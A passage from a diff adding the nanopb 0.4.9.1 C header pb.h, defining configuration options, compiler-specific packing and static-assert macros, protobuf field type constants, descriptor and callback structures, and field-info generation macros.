size. */ +/* #define PB_VALIDATE_UTF8 1 */ + +/* This can be defined if the platform is little-endian and has 8-bit bytes. + * Normally it is automatically detected based on __BYTE_ORDER__ macro. */ +/* #define PB_LITTLE_ENDIAN_8BIT 1 */ + +/* Configure static assert mechanism. Instead of changing these, set your + * compiler to C11 standard mode if possible. */ +/* #define PB_C99_STATIC_ASSERT 1 */ +/* #define PB_NO_STATIC_ASSERT 1 */ + +/****************************************************************** + * You usually don't need to change anything below this line. * + * Feel free to look around and use the defined macros, though. * + ******************************************************************/ + + +/* Version of the nanopb library. Just in case you want to check it in + * your own program. */ +#define NANOPB_VERSION "nanopb-0.4.9.1" + +/* Include all the system headers needed by nanopb. You will need the + * definitions of the following: + * - strlen, memcpy, memset functions + * - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t + * - size_t + * - bool + * + * If you don't have the standard header files, you can instead provide + * a custom header that defines or includes all this. In that case, + * define PB_SYSTEM_HEADER to the path of this file. + */ +#ifdef PB_SYSTEM_HEADER +#include PB_SYSTEM_HEADER +#else +#include +#include +#include +#include +#include + +#ifdef PB_ENABLE_MALLOC +#include +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Macro for defining packed structures (compiler dependent). + * This just reduces memory requirements, but is not required. + */ +#if defined(PB_NO_PACKED_STRUCTS) + /* Disable struct packing */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#elif defined(__GNUC__) || defined(__clang__) + /* For GCC and clang */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) + /* For IAR ARM and Keil MDK-ARM compilers */ +# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)") +# define PB_PACKED_STRUCT_END _Pragma("pack(pop)") +# define pb_packed +#elif defined(_MSC_VER) && (_MSC_VER >= 1500) + /* For Microsoft Visual C++ */ +# define PB_PACKED_STRUCT_START __pragma(pack(push, 1)) +# define PB_PACKED_STRUCT_END __pragma(pack(pop)) +# define pb_packed +#else + /* Unknown compiler */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#endif + +/* Detect endianness */ +#ifndef PB_LITTLE_ENDIAN_8BIT +#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \ + (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \ + defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \ + defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \ + defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \ + && CHAR_BIT == 8 +#define PB_LITTLE_ENDIAN_8BIT 1 +#endif +#endif + +/* Handly macro for suppressing unreferenced-parameter compiler warnings. */ +#ifndef PB_UNUSED +#define PB_UNUSED(x) (void)(x) +#endif + +/* Harvard-architecture processors may need special attributes for storing + * field information in program memory. */ +#ifndef PB_PROGMEM +#ifdef __AVR__ +#include +#define PB_PROGMEM PROGMEM +#define PB_PROGMEM_READU32(x) pgm_read_dword(&x) +#else +#define PB_PROGMEM +#define PB_PROGMEM_READU32(x) (x) +#endif +#endif + +/* Compile-time assertion, used for checking compatible compilation options. + * If this does not work properly on your compiler, use + * #define PB_NO_STATIC_ASSERT to disable it. + * + * But before doing that, check carefully the error message / place where it + * comes from to see if the error has a real cause. Unfortunately the error + * message is not always very clear to read, but you can see the reason better + * in the place where the PB_STATIC_ASSERT macro was called. + */ +#ifndef PB_NO_STATIC_ASSERT +# ifndef PB_STATIC_ASSERT +# if defined(__ICCARM__) + /* IAR has static_assert keyword but no _Static_assert */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112) + /* MSVC in C89 mode supports static_assert() keyword anyway */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(PB_C99_STATIC_ASSERT) + /* Classic negative-size-array static assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1]; +# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) +# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER +# elif defined(__cplusplus) + /* C++11 standard static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# else + /* C11 standard _Static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG); +# endif +# endif +#else + /* Static asserts disabled by PB_NO_STATIC_ASSERT */ +# define PB_STATIC_ASSERT(COND,MSG) +#endif + +/* Test that PB_STATIC_ASSERT works + * If you get errors here, you may need to do one of these: + * - Enable C11 standard support in your compiler + * - Define PB_C99_STATIC_ASSERT to enable C99 standard support + * - Define PB_NO_STATIC_ASSERT to disable static asserts altogether + */ +PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING) + +/* Number of required fields to keep track of. */ +#ifndef PB_MAX_REQUIRED_FIELDS +#define PB_MAX_REQUIRED_FIELDS 64 +#endif + +#if PB_MAX_REQUIRED_FIELDS < 64 +#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64). +#endif + +#ifdef PB_WITHOUT_64BIT +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Cannot use doubles without 64-bit types */ +#undef PB_CONVERT_DOUBLE_FLOAT +#endif +#endif + +/* Data type for storing encoded data and other byte streams. + * This typedef exists to support platforms where uint8_t does not exist. + * You can regard it as equivalent on uint8_t on other platforms. + */ +#if defined(PB_BYTE_T_OVERRIDE) +typedef PB_BYTE_T_OVERRIDE pb_byte_t; +#elif defined(UINT8_MAX) +typedef uint8_t pb_byte_t; +#else +typedef uint_least8_t pb_byte_t; +#endif + +/* List of possible field types. These are used in the autogenerated code. + * Least-significant 4 bits tell the scalar type + * Most-significant 4 bits specify repeated/required/packed etc. + */ +typedef pb_byte_t pb_type_t; + +/**** Field data types ****/ + +/* Numeric types */ +#define PB_LTYPE_BOOL 0x00U /* bool */ +#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */ +#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */ +#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */ +#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */ +#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */ + +/* Marker for last packable field type. */ +#define PB_LTYPE_LAST_PACKABLE 0x05U + +/* Byte array with pre-allocated buffer. + * data_size is the length of the allocated PB_BYTES_ARRAY structure. */ +#define PB_LTYPE_BYTES 0x06U + +/* String with pre-allocated buffer. + * data_size is the maximum length. */ +#define PB_LTYPE_STRING 0x07U + +/* Submessage + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMESSAGE 0x08U + +/* Submessage with pre-decoding callback + * The pre-decoding callback is stored as pb_callback_t right before pSize. + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMSG_W_CB 0x09U + +/* Extension pseudo-field + * The field contains a pointer to pb_extension_t */ +#define PB_LTYPE_EXTENSION 0x0AU + +/* Byte array with inline, pre-allocated byffer. + * data_size is the length of the inline, allocated buffer. + * This differs from PB_LTYPE_BYTES by defining the element as + * pb_byte_t[data_size] rather than pb_bytes_array_t. */ +#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU + +/* Number of declared LTYPES */ +#define PB_LTYPES_COUNT 0x0CU +#define PB_LTYPE_MASK 0x0FU + +/**** Field repetition rules ****/ + +#define PB_HTYPE_REQUIRED 0x00U +#define PB_HTYPE_OPTIONAL 0x10U +#define PB_HTYPE_SINGULAR 0x10U +#define PB_HTYPE_REPEATED 0x20U +#define PB_HTYPE_FIXARRAY 0x20U +#define PB_HTYPE_ONEOF 0x30U +#define PB_HTYPE_MASK 0x30U + +/**** Field allocation types ****/ + +#define PB_ATYPE_STATIC 0x00U +#define PB_ATYPE_POINTER 0x80U +#define PB_ATYPE_CALLBACK 0x40U +#define PB_ATYPE_MASK 0xC0U + +#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK) +#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK) +#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK) +#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \ + PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB) + +/* Data type used for storing sizes of struct fields + * and array counts. + */ +#if defined(PB_FIELD_32BIT) + typedef uint32_t pb_size_t; + typedef int32_t pb_ssize_t; +#else + typedef uint_least16_t pb_size_t; + typedef int_least16_t pb_ssize_t; +#endif +#define PB_SIZE_MAX ((pb_size_t)-1) + +/* Forward declaration of struct types */ +typedef struct pb_istream_s pb_istream_t; +typedef struct pb_ostream_s pb_ostream_t; +typedef struct pb_field_iter_s pb_field_iter_t; + +/* This structure is used in auto-generated constants + * to specify struct fields. + */ +typedef struct pb_msgdesc_s pb_msgdesc_t; +struct pb_msgdesc_s { + const uint32_t *field_info; + const pb_msgdesc_t * const * submsg_info; + const pb_byte_t *default_value; + + bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field); + + pb_size_t field_count; + pb_size_t required_field_count; + pb_size_t largest_tag; +}; + +/* Iterator for message descriptor */ +struct pb_field_iter_s { + const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */ + void *message; /* Pointer to start of the structure */ + + pb_size_t index; /* Index of the field */ + pb_size_t field_info_index; /* Index to descriptor->field_info array */ + pb_size_t required_field_index; /* Index that counts only the required fields */ + pb_size_t submessage_index; /* Index that counts only submessages */ + + pb_size_t tag; /* Tag of current field */ + pb_size_t data_size; /* sizeof() of a single item */ + pb_size_t array_size; /* Number of array entries */ + pb_type_t type; /* Type of current field */ + + void *pField; /* Pointer to current field in struct */ + void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */ + void *pSize; /* Pointer to count/has field */ + + const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */ +}; + +/* For compatibility with legacy code */ +typedef pb_field_iter_t pb_field_t; + +/* Make sure that the standard integer types are of the expected sizes. + * Otherwise fixed32/fixed64 fields can break. + * + * If you get errors here, it probably means that your stdint.h is not + * correct for your platform. + */ +#ifndef PB_WITHOUT_64BIT +PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE) +PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE) +#endif + +/* This structure is used for 'bytes' arrays. + * It has the number of bytes in the beginning, and after that an array. + * Note that actual structs used will have a different length of bytes array. + */ +#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; } +#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes)) + +struct pb_bytes_array_s { + pb_size_t size; + pb_byte_t bytes[1]; +}; +typedef struct pb_bytes_array_s pb_bytes_array_t; + +/* This structure is used for giving the callback function. + * It is stored in the message structure and filled in by the method that + * calls pb_decode. + * + * The decoding callback will be given a limited-length stream + * If the wire type was string, the length is the length of the string. + * If the wire type was a varint/fixed32/fixed64, the length is the length + * of the actual value. + * The function may be called multiple times (especially for repeated types, + * but also otherwise if the message happens to contain the field multiple + * times.) + * + * The encoding callback will receive the actual output stream. + * It should write all the data in one call, including the field tag and + * wire type. It can write multiple fields. + * + * The callback can be null if you want to skip a field. + */ +typedef struct pb_callback_s pb_callback_t; +struct pb_callback_s { + /* Callback functions receive a pointer to the arg field. + * You can access the value of the field as *arg, and modify it if needed. + */ + union { + bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg); + bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg); + } funcs; + + /* Free arg for use by callback */ + void *arg; +}; + +extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field); + +/* Wire types. Library user needs these only in encoder callbacks. */ +typedef enum { + PB_WT_VARINT = 0, + PB_WT_64BIT = 1, + PB_WT_STRING = 2, + PB_WT_32BIT = 5, + PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */ +} pb_wire_type_t; + +/* Structure for defining the handling of unknown/extension fields. + * Usually the pb_extension_type_t structure is automatically generated, + * while the pb_extension_t structure is created by the user. However, + * if you want to catch all unknown fields, you can also create a custom + * pb_extension_type_t with your own callback. + */ +typedef struct pb_extension_type_s pb_extension_type_t; +typedef struct pb_extension_s pb_extension_t; +struct pb_extension_type_s { + /* Called for each unknown field in the message. + * If you handle the field, read off all of its data and return true. + * If you do not handle the field, do not read anything and return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*decode)(pb_istream_t *stream, pb_extension_t *extension, + uint32_t tag, pb_wire_type_t wire_type); + + /* Called once after all regular fields have been encoded. + * If you have something to write, do so and return true. + * If you do not have anything to write, just return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension); + + /* Free field for use by the callback. */ + const void *arg; +}; + +struct pb_extension_s { + /* Type describing the extension field. Usually you'll initialize + * this to a pointer to the automatically generated structure. */ + const pb_extension_type_t *type; + + /* Destination for the decoded data. This must match the datatype + * of the extension field. */ + void *dest; + + /* Pointer to the next extension handler, or NULL. + * If this extension does not match a field, the next handler is + * automatically called. */ + pb_extension_t *next; + + /* The decoder sets this to true if the extension was found. + * Ignored for encoding. */ + bool found; +}; + +#define pb_extension_init_zero {NULL,NULL,NULL,false} + +/* Memory allocation functions to use. You can define pb_realloc and + * pb_free to custom functions if you want. */ +#ifdef PB_ENABLE_MALLOC +# ifndef pb_realloc +# define pb_realloc(ptr, size) realloc(ptr, size) +# endif +# ifndef pb_free +# define pb_free(ptr) free(ptr) +# endif +#endif + +/* This is used to inform about need to regenerate .pb.h/.pb.c files. */ +#define PB_PROTO_HEADER_VERSION 40 + +/* These macros are used to declare pb_field_t's in the constant array. */ +/* Size of a structure member, in bytes. */ +#define pb_membersize(st, m) (sizeof ((st*)0)->m) +/* Number of entries in an array. */ +#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0])) +/* Delta from start of one member to the start of another member. */ +#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2)) + +/* Force expansion of macro value */ +#define PB_EXPAND(x) x + +/* Binding of a message field set into a specific structure */ +#define PB_BIND(msgname, structname, width) \ + const uint32_t structname ## _field_info[] PB_PROGMEM = \ + { \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \ + 0 \ + }; \ + const pb_msgdesc_t* const structname ## _submsg_info[] = \ + { \ + msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \ + NULL \ + }; \ + const pb_msgdesc_t structname ## _msg = \ + { \ + structname ## _field_info, \ + structname ## _submsg_info, \ + msgname ## _DEFAULT, \ + msgname ## _CALLBACK, \ + 0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \ + }; \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname) + +#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1 +#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \ + + (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED) +#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \ + * 0 + tag + +/* X-macro for generating the entries in struct_field_info[] array. */ +#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +/* X-macro for generating asserts that entries fit in struct_field_info[] array. + * The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(), + * but it is not easily reused because of how macro substitutions work. */ +#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname) + +#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname) +#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname)) +#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) +#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname) +#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname) +#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count) +#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0 + +#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0]) + +#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname) +#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname) +#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname) +#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0]) +#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0]) +#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define 